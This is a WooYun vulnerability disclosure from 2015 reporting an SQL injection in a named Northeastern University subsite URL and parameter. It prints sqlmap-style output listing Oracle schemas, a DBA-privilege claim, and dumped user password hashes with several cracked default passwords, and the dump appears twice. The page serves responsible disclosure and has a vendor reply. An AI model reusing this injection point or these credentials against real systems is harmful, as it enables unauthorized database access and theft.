当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0161369

漏洞标题:东北大学某站存在sql注入dba权限

相关厂商:东北大学

漏洞作者: G00d

提交时间:2015-12-15 10:54

修复时间:2016-02-01 19:48

公开时间:2016-02-01 19:48

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-15: 细节已通知厂商并且等待厂商处理中
2015-12-20: 厂商已经确认,细节仅向厂商公开
2015-12-30: 细节向核心白帽子及相关领域专家公开
2016-01-09: 细节向普通白帽子公开
2016-01-19: 细节向实习白帽子公开
2016-02-01: 细节向公众公开

简要描述:

东北大学某分站存在sql注入漏洞,dba权限。

详细说明:

注入点:http://cec.neu.edu.cn/MHSys/secindex.do?method=trainSystemQuery&sid=7&queryCode=PX_ZSCX
queryCode参数上存在sql注入。

3.png


存在的数据库

1.png


available databases [20]:
[*] CRDEV
[*] CTXSYS
[*] DBSNMP
[*] DMSYS
[*] EXFSYS
[*] MDSYS
[*] MHDEV
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] PXDEV
[*] SCOTT
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] TSMSYS
[*] WMSYS
[*] XDB
[*] XZDEV
[*] ZKDEV
当前数据库的表

2.png


dba权限

4.png


数据库用户名密码
database management system users password hashes:
[*] ANONYMOUS [1]:
password hash: anonymous
[*] CRDEV [1]:
password hash: AB8A14C9F777A140
[*] CTXAPP [1]:
password hash: NULL
[*] CTXSYS [1]:
password hash: 71E687F036AD56E5
clear-text password: CHANGE_ON_INSTALL
[*] DBA [1]:
password hash: NULL
[*] DBSNMP [1]:
password hash: 7C151D7C4D480FB3
[*] DELETE_CATALOG_ROLE [1]:
password hash: NULL
[*] DIP [1]:
password hash: CE4A36B8E06CA59C
clear-text password: DIP
[*] DMSYS [1]:
password hash: BFBA5A553FD9E28A
clear-text password: DMSYS
[*] EJBCLIENT [1]:
password hash: NULL
[*] EXECUTE_CATALOG_ROLE [1]:
password hash: NULL
[*] EXFSYS [1]:
password hash: 66F4EF5650C20355
clear-text password: EXFSYS
[*] EXP_FULL_DATABASE [1]:
password hash: NULL
[*] GATHER_SYSTEM_STATISTICS [1]:
password hash: NULL
[*] GLOBAL_AQ_USER_ROLE [1]:
password hash: GLOBAL
[*] MDDATA [1]:
password hash: DF02A496267DEE66
clear-text password: MDDATA
[*] MDSYS [1]:
password hash: 72979A94BAD2AF80
clear-text password: MDSYS
[*] MGMT_VIEW [1]:
password hash: F25A184809D6458D
[*] MHDEV [1]:
password hash: 525E5422AFF1CD87
[*] OLAPSYS [1]:
password hash: 3FB8EF9DB538647C
clear-text password: MANAGER
[*] ORDPLUGINS [1]:
password hash: 88A2B2C183431F00
clear-text password: ORDPLUGINS
[*] ORDSYS [1]:
password hash: 7EFA02EC7EA6B86F
clear-text password: ORDSYS
[*] OUTLN [1]:
password hash: 4A3BA55E08595C81
clear-text password: OUTLN
[*] PXDEV [1]:
password hash: 985E52E4303F3A6E
[*] SCOTT [1]:
password hash: F894844C34402B67
clear-text password: TIGER
[*] SI_INFORMTN_SCHEMA [1]:
password hash: 84B8CBCA4D477FA3
clear-text password: SI_INFORMTN_SCHEMA
[*] SYS [1]:
password hash: 63D1AE605ED27D82
[*] SYSMAN [1]:
password hash: 2050B3999BBA40A8
[*] SYSTEM [1]:
password hash: D98D3A97C45A1116
[*] TSMSYS [1]:
password hash: 3DF26A8B17D0F29F
clear-text password: TSMSYS
[*] WMSYS [1]:
password hash: 7C9BA362F8314299
clear-text password: WMSYS
[*] XDB [1]:
password hash: 88D8364765FCE6AF
clear-text password: CHANGE_ON_INSTALL
[*] XZDEV [1]:
password hash: 611DBC53CB8E35AA
[*] ZKDEV [1]:
password hash: 85DF5FA7B2FFB46B
我就不一一深入了

漏洞证明:

3.png


存在的数据库

1.png


available databases [20]:
[*] CRDEV
[*] CTXSYS
[*] DBSNMP
[*] DMSYS
[*] EXFSYS
[*] MDSYS
[*] MHDEV
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] PXDEV
[*] SCOTT
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] TSMSYS
[*] WMSYS
[*] XDB
[*] XZDEV
[*] ZKDEV
当前数据库的表

2.png


dba权限

4.png


数据库用户名密码
database management system users password hashes:
[*] ANONYMOUS [1]:
password hash: anonymous
[*] CRDEV [1]:
password hash: AB8A14C9F777A140
[*] CTXAPP [1]:
password hash: NULL
[*] CTXSYS [1]:
password hash: 71E687F036AD56E5
clear-text password: CHANGE_ON_INSTALL
[*] DBA [1]:
password hash: NULL
[*] DBSNMP [1]:
password hash: 7C151D7C4D480FB3
[*] DELETE_CATALOG_ROLE [1]:
password hash: NULL
[*] DIP [1]:
password hash: CE4A36B8E06CA59C
clear-text password: DIP
[*] DMSYS [1]:
password hash: BFBA5A553FD9E28A
clear-text password: DMSYS
[*] EJBCLIENT [1]:
password hash: NULL
[*] EXECUTE_CATALOG_ROLE [1]:
password hash: NULL
[*] EXFSYS [1]:
password hash: 66F4EF5650C20355
clear-text password: EXFSYS
[*] EXP_FULL_DATABASE [1]:
password hash: NULL
[*] GATHER_SYSTEM_STATISTICS [1]:
password hash: NULL
[*] GLOBAL_AQ_USER_ROLE [1]:
password hash: GLOBAL
[*] MDDATA [1]:
password hash: DF02A496267DEE66
clear-text password: MDDATA
[*] MDSYS [1]:
password hash: 72979A94BAD2AF80
clear-text password: MDSYS
[*] MGMT_VIEW [1]:
password hash: F25A184809D6458D
[*] MHDEV [1]:
password hash: 525E5422AFF1CD87
[*] OLAPSYS [1]:
password hash: 3FB8EF9DB538647C
clear-text password: MANAGER
[*] ORDPLUGINS [1]:
password hash: 88A2B2C183431F00
clear-text password: ORDPLUGINS
[*] ORDSYS [1]:
password hash: 7EFA02EC7EA6B86F
clear-text password: ORDSYS
[*] OUTLN [1]:
password hash: 4A3BA55E08595C81
clear-text password: OUTLN
[*] PXDEV [1]:
password hash: 985E52E4303F3A6E
[*] SCOTT [1]:
password hash: F894844C34402B67
clear-text password: TIGER
[*] SI_INFORMTN_SCHEMA [1]:
password hash: 84B8CBCA4D477FA3
clear-text password: SI_INFORMTN_SCHEMA
[*] SYS [1]:
password hash: 63D1AE605ED27D82
[*] SYSMAN [1]:
password hash: 2050B3999BBA40A8
[*] SYSTEM [1]:
password hash: D98D3A97C45A1116
[*] TSMSYS [1]:
password hash: 3DF26A8B17D0F29F
clear-text password: TSMSYS
[*] WMSYS [1]:
password hash: 7C9BA362F8314299
clear-text password: WMSYS
[*] XDB [1]:
password hash: 88D8364765FCE6AF
clear-text password: CHANGE_ON_INSTALL
[*] XZDEV [1]:
password hash: 611DBC53CB8E35AA
[*] ZKDEV [1]:
password hash: 85DF5FA7B2FFB46B
我就不一一深入了

修复方案:

过滤吧..

版权声明:转载请注明来源 G00d@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2015-12-20 09:39

厂商回复:

感谢漏洞信息!相关信息已经转给相关学院,该网站没有部署在校内,所以我们没有紧急处置的能力,我们积极配合修补漏洞。再次表示感谢!

最新状态:

暂无


漏洞评价:

评价